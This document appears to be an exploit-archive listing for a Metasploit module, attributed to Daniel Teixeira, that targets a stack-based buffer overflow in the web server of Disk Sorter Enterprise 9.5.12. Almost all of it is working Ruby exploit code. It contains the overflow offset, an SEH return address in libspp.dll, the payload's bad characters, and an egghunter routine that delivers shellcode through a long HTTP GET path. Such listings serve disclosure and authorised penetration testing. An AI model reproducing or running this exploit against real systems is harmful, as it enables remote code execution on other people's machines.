Disk Sorter Enterprise 9.5.12 GET Buffer Overflow

This Metasploit module exploits a stack-based buffer overflow vulnerability in the web interface of Disk Sorter Enterprise version 9.5.12, caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This Metasploit module has been tested successfully on Windows 7 SP1 x86.


MD5 | d0efa18e6955b9b943952b0d59267c45

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Sorter Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of Disk Sorter Enterprise v9.5.12, caused by
improper bounds checking of the request path in HTTP GET requests
sent to the built-in web server. This module has been tested
successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
'Space' => 500
},
'Targets' =>
[
[ 'Disk Sorter Enterprise v9.5.12',
{
'Offset' => 2488,
'Ret' => 0x10051223 # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)

if res && res.code == 200
version = res.body[/Disk Sorter Enterprise v[^<]*/]
if version
vprint_status("Version detected: #{version}")
if version =~ /9\.5\.12/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit

eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)

sploit = rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << make_nops(10)
sploit << egg
sploit << rand_text_alpha(5500)

print_status('Sending request...')

send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end

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